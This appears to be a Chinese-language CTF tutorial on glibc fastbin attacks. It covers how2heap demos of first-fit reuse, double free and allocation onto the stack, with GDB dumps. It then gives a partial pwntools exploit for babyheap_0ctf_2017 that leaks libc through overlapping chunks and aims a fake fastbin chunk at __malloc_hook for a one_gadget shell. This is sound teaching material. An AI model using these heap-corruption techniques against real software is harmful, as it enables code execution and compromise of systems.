avatar

Fastbin Attack

first fit

源代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");

fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;

fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);

fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}

运行

This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(0x512): 0x1fc6010
2nd malloc(0x256): 0x1fc6530
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x1fc6010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at 0x1fc6010
So, let's allocate 0x500 bytes
3rd malloc(0x500): 0x1fc6010
And put a different string here, "this is C!"
3rd allocation 0x1fc6010 points to this is C!
first allocation 0x1fc6010 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.

GDB

malloc()*3

//code
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
#GDB
Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
[0x0000000000603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603530, size=0x260, flags=PREV_INUSE)
[0x0000000000603530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603790, size=0x20880, flags=PREV_INUSE) ← top chunk
gef➤ x/5gx 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000521
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000
gef➤ x/5gx 0x603530-0x10
0x603520: 0x0000000000000000 0x0000000000000261
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000
gef➤ x/5gx 0x603790-0x10
0x603780: 0x0000000000000000 0x0000000000020881
0x603790: 0x0000000000000000 0x0000000000000000
0x6037a0: 0x0000000000000000

free(a)

//code
fprintf(stderr, "Freeing the first one...\n");
free(a);
#gdb
gef➤ heap chunks
Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
[0x0000000000603010 78 1b dd f7 ff 7f 00 00 78 1b dd f7 ff 7f 00 00 x.......x.......]
Chunk(addr=0x603530, size=0x260, flags=)
[0x0000000000603530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603790, size=0x20880, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
─────────── Fastbins for arena 0x7ffff7dd1b20 ───────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
────────── Unsorted Bin for arena 'main_arena' ──────────
[+] unsorted_bins[0]: fw=0x603000, bk=0x603000
→ Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────── Small Bins for arena 'main_arena' ───────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────── Large Bins for arena 'main_arena' ───────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ x/5gx 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000521
0x603010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
0x603020: 0x0000000000000000
gef➤ x/5gx 0x603530-0x10
0x603520: 0x0000000000000520 0x0000000000000260
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000
gef➤ x/5gx 0x603790-0x10
0x603780: 0x0000000000000000 0x0000000000020881
0x603790: 0x0000000000000000 0x0000000000000000
0x6037a0: 0x0000000000000000

malloc©

//code
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
#gdb
Chunk(addr=0x603010, size=0x520, flags=PREV_INUSE)
[0x0000000000603010 74 68 69 73 20 69 73 20 43 21 00 f7 ff 7f 00 00 this is C!......]
Chunk(addr=0x603530, size=0x260, flags=PREV_INUSE)
[0x0000000000603530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603790, size=0x20880, flags=PREV_INUSE) ← top chunk
gef➤ heap bins
[+] No Tcache in this version of libc
────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
───────────── Unsorted Bin for arena 'main_arena' ─────────────
[+] Found 0 chunks in unsorted bin.
────────────── Small Bins for arena 'main_arena' ──────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────── Large Bins for arena 'main_arena' ──────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ x/5gx 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000521
0x603010: 0x2073692073696874 0x00007ffff7002143
0x603020: 0x0000000000603000
gef➤ x/5gx 0x603530-0x10
0x603520: 0x0000000000000520 0x0000000000000261
0x603530: 0x0000000000000000 0x0000000000000000
0x603540: 0x0000000000000000

说明

1.malloc分配了两块内存,内存指针-0x10是chunk头部

2.free(a),chunk a并没有马上消除,而是加入了unsorted bin

3.再次申请内存 c,&chunkC = &chunkA,而且fd_c = fd_a ; bk_c = bk_a ,从而造成UAF

4.chunk_C.size != chunk_A.size

fastbin_dup

源代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

运行

This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x17ef010
2nd malloc(8): 0x17ef030
3rd malloc(8): 0x17ef050
Freeing the first one...
If we free 0x17ef010 again, things will crash because 0x17ef010 is at the top of the free list.
So, instead, we'll free 0x17ef030.
Now, we can free 0x17ef010 again, since it's not the head of the free list.
Now the free list has [ 0x17ef010, 0x17ef030, 0x17ef010 ]. If we malloc 3 times, we'll get 0x17ef010 twice!
1st malloc(8): 0x17ef010
2nd malloc(8): 0x17ef030
3rd malloc(8): 0x17ef010

GDB

malloc(a,b,c)

//code
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
#gdb
gef➤ heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[0x0000000000602010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
[0x0000000000602030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
[0x0000000000602050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602070, size=0x20fa0, flags=PREV_INUSE) ← top chunk
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000

free(a,b,a)

//code
free(a);
free(b);
free(a);
#gdb
gef➤ heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[0x0000000000602010 20 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00 `.............]
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
[0x0000000000602030 00 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00 . `.............]
Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
[0x0000000000602050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602070, size=0x20fa0, flags=PREV_INUSE) ← top chunk
gef➤ heap bin fast
──────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ────────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000

fastbin链表里面: fastbin: a<-b<-a 形成循环,完成了一次double free

malloc(d,e,f)

//code
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
#gdb
gef➤ heap chunks
Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[0x0000000000602010 20 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00 `.............]
Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
[0x0000000000602030 00 20 60 00 00 00 00 00 00 00 00 00 00 00 00 00 . `.............]
Chunk(addr=0x602050, size=0x20, flags=PREV_INUSE)
[0x0000000000602050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602070, size=0x20fa0, flags=PREV_INUSE) ← top chunk
gef➤ heap bin fast
─────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) → [loop detected]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000

说明

虽然我们再次申请了三个chunk,但是fastbin上依然形成循环,就算以后再次分配地址,也是一直分配AB的地址,这时如果我们用堆溢出等手法,就可以修改新地址的fd或bk,从而可以用修改GOT表,malloc_hook调用onegedget,或者unsafe_unlink来实现其他操作

fastbin_dup_into_stack

源代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);

fprintf(stderr, "Freeing the first one...\n");
free(a);

fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);

fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);//a

fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));//b
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));//a
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));//fd->0x7fffffffdcb8
}

运行

This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fffffffdcc8.
Allocating 3 buffers.
1st malloc(8): 0x603010
2nd malloc(8): 0x603030
3rd malloc(8): 0x603050
Freeing the first one...
If we free 0x603010 again, things will crash because 0x603010 is at the top of the free list.
So, instead, we'll free 0x603030.
Now, we can free 0x603010 again, since it's not the head of the free list.
Now the free list has [ 0x603010, 0x603030, 0x603010 ]. We'll now carry out our attack by modifying data at 0x603010.
1st malloc(8): 0x603010
2nd malloc(8): 0x603030
Now the free list has [ 0x603010 ].
Now, we have access to 0x603010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x603010 to point right before the 0x20.
3rd malloc(8): 0x603010, putting the stack address on the free list
4th malloc(8): 0x7fffffffdcc8

GDB

malloc()*3

//code
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
#gdb
gef➤ heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
[0x0000000000603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
[0x0000000000603030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603050, size=0x20, flags=PREV_INUSE)
[0x0000000000603050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603070, size=0x20fa0, flags=PREV_INUSE) ← top chunk
gef➤ x/15gx 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000

double free

//code
free(a);
free(b);
free(a);
#gdb
gef➤ heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
[0x0000000000603010 20 30 60 00 00 00 00 00 00 00 00 00 00 00 00 00 0`.............]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
[0x0000000000603030 00 30 60 00 00 00 00 00 00 00 00 00 00 00 00 00 .0`.............]
Chunk(addr=0x603050, size=0x20, flags=PREV_INUSE)
[0x0000000000603050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603070, size=0x20fa0, flags=PREV_INUSE) ← top chunk
gef➤ heap bin fast
─────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE) → [loop detected]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤ x/15gx 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000603020 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x0000000000603000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000

fastbin attack!!!

//code
unsigned long long *d = malloc(8);//a
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));//b
stack_var = 0x20;
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));//a
#gdb
gef➤ heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
[0x0000000000603010 b8 dc ff ff ff 7f 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
[0x0000000000603030 00 30 60 00 00 00 00 00 00 00 00 00 00 00 00 00 .0`.............]
Chunk(addr=0x603050, size=0x20, flags=PREV_INUSE)
[0x0000000000603050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603070, size=0x20fa0, flags=PREV_INUSE) ← top chunk
gef➤ heap bin fast
─────────────────────────────── Fastbins for arena 0x7ffff7dd1b20 ───────────────────────────────
Fastbins[idx=0, size=0x20] ← Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdcc8, size=0x20, flags=) ← Chunk(addr=0x603020, size=0x0, flags=) [incorrect fastbin_index]
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
gef➤ x/15gx 0x603010-0x10
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x00007fffffffdcb8 0x0000000000000000
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x0000000000603000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000021
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000020fa1
0x603070: 0x0000000000000000
gef➤ x/6gx 0x00007fffffffdcb8
0x7fffffffdcb8: 0x000000000040091a 0x0000000000000020
0x7fffffffdcc8: 0x0000000000603010 0x0000000000603030
0x7fffffffdcd8: 0x0000000000603050 0x0000000000603010

*d = (unsigned long lg) (((char*)&stack_var) - sizeof(d));

d指针指向了stack_var的前sizeof(d)个字节,从而下一个占用chunkB的堆块:

再覆盖fd指针

*d = malloc(8)=====> *d = 0x00007fffffffdcb8

然后我们的fastbin就会出现异常incorrect fastbin_index

说明

1.double free使得堆块可以重复分配

2.fastbin attack攻击:覆盖chunkA(3rd malloc)fd指针,使其指向stack_var地址

fastbin attack

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。 --CTFWiki

输入->

  • 存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
  • 漏洞发生于 fastbin 类型的 chunk 中

输出->

  • 二次输入

    • Fastbin Double Free
    • House of Spirit

    **输出> **

    利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击

    例题> babyheap_0ctf_2017

    • Alloc to Stack
    • Arbitrary Alloc

    输出>

    故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击

    例题> hitcontraining_uaf

例题:babyheap_0ctf_2017

checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

IDA

老四样菜单

def Allocate(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))

def Fill(idx,content):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(len(content)))
p.sendlineafter("Content: ",content)

def Free(idx):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(idx))

def Dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index:")
p.sendline(str(idx))
p.recvuntil('Content: \n')
return p.recvline()

Fill

if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}

没有检查堆是否溢出 符合输入存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

没有system,leak libc + malloc_hook

one_gadget

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

GDB

libc leak

一般采取堆块重叠(fake chunk)后,free()加入unsorted bin最后dump出unsorted bin的地址,根据libc中与main_arena的偏移得到libc_base

#code:
Allocate(0x60)
Allocate(0x30)
Fill(0,"a"*0x60+p64(0)+p64(0x71)) <--修改idx=1的chunks size
Allocate(0x100) #idx=2 <--堆重叠了
Fill(2,"a"*0x20+p64(0)+p64(0x71)) <--idx=2的BK_nextsize位修改
Free(1) <--加入fastbin链表(free()的还是0x30大小)
Allocate(0x60)#idx=1 <--堆溢出
Fill(1,"a"*0x30+p64(0)+p64(0x111))<--堆修复
Allocate(0x60)#idx=3 <--和top_chunk分隔
Free(2)
GDB()
leak = u64(Dump(1)[-25:-17])
print "leak:"+hex(leak)

base=leak-0x3c4b78
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
gef➤ heap chunks
Chunk(addr=0x55754fefb010, size=0x70, flags=PREV_INUSE)
[0x000055754fefb010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb080, size=0x70, flags=PREV_INUSE)
[0x000055754fefb080 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa]
Chunk(addr=0x55754fefb0f0, size=0x70, flags=PREV_INUSE)
[0x000055754fefb0f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
───────────── Unsorted Bin for arena 'main_arena' ─────────────
[+] unsorted_bins[0]: fw=0x55754fefb0b0, bk=0x55754fefb0b0
→ Chunk(addr=0x55754fefb0c0, size=0x110, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
gef➤ x/45gx 0x55de8a864000
0x55de8a864000: 0x0000000000000000 0x0000000000000071
0x55de8a864010: 0x6161616161616161 0x6161616161616161
0x55de8a864020: 0x6161616161616161 0x6161616161616161
0x55de8a864030: 0x6161616161616161 0x6161616161616161
0x55de8a864040: 0x6161616161616161 0x6161616161616161
0x55de8a864050: 0x6161616161616161 0x6161616161616161
0x55de8a864060: 0x6161616161616161 0x6161616161616161
0x55de8a864070: 0x0000000000000000 0x0000000000000071
0x55de8a864080: 0x6161616161616161 0x6161616161616161
0x55de8a864090: 0x6161616161616161 0x6161616161616161
0x55de8a8640a0: 0x6161616161616161 0x6161616161616161
0x55de8a8640b0: 0x0000000000000000 0x0000000000000111
0x55de8a8640c0: 0x00007fa305c4ab78 0x00007fa305c4ab78 <---unsorted bin
0x55de8a8640d0: 0x0000000000000000 0x0000000000000000
0x55de8a8640e0: 0x0000000000000000 0x0000000000000071
0x55de8a8640f0: 0x0000000000000000 0x0000000000000000
..........................................................

偏移计算

[*] leak addr=>0x7f62cec4db78
gef➤  vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
.... ... ...... .........
0x0000563df09f9000 0x0000563df0a1a000 0x0000000000000000 rw- [heap]
0x00007f62ce889000 0x00007f62cea49000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f62cea49000 0x00007f62cec49000 0x00000000001c0000 --- /lib/x86_64-
print hex(0x7f62cec4db78-0x00007f62ce889000)
#0x3c4b78

fastbin attack

最后再修改malloc_hook-35的地址(mallco_hook的参数要偏移,且偏移后的地址不能为0)为exec_binsh(one_gadget)

简言之就是hook->onegadget

#code:
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-35)+p64(0))
GDB()
#堆溢出覆盖chunk1的fd,使得下一块chunk在malloc_hook-35的地方
Allocate(0x60)
GDB()

覆盖chunk1的fd

heap

0x55a4b068b000 FASTBIN {  <---chunk 0
prev_size = 0,
size = 113,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55a4b068b070 FASTBIN { <---chunk1
prev_size = 0,
size = 113,
fd = 0x7f038a23caed <_IO_wide_data_0+301>,
malloc_hook-35
bk = 0x0,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55a4b068b0e0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55a4b068b150 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

bins

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7ff5da1deaed (_IO_wide_data_0+301) ◂— 0xf5d9e9fe20000000
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

stack

pwndbg> x/gx 0x7ff5da1deb10-35 
0x7ff5da1deaed <_IO_wide_data_0+301>: 0xf5da1dd260000000
0x7ff5da1deaf5 <_IO_wide_data_0+309>: 0x000000000000007f
0x7ff5da1deafd: 0xf5d9e9fe20000000
0x7ff5da1deb05 <__memalign_hook+5>: 0xf5d9e9fa0000007f
0x7ff5da1deb0d <__realloc_hook+5>: 0x000000000000007f
0x7ff5da1deb15 <__malloc_hook+5>: 0x0000000000000000
0x7ff5da1deb1d: 0x0000000000000000
0x7ff5da1deb25 <main_arena+5>: 0x0000000000000000

填入onegadget

heap

0x55efd712d000 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x6161616161616161,
bk_nextsize = 0x6161616161616161
}
0x55efd712d070 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55efd712d0e0 FASTBIN {
prev_size = 0,
size = 113,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x55efd712d150 {
prev_size = 0,
size = 0,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

gdb

pwndbg> x/gx 0x7f0f7c16ab10-35
0x7f0f7c16aaed <_IO_wide_data_0+301>: 0x0f7c169260000000
0x7f0f7c16aaf5 <_IO_wide_data_0+309>: 0x000000000000007f
0x7f0f7c16aafd: 0x4141414141414141
0x7f0f7c16ab05 <__memalign_hook+5>: 0x4141414141414141
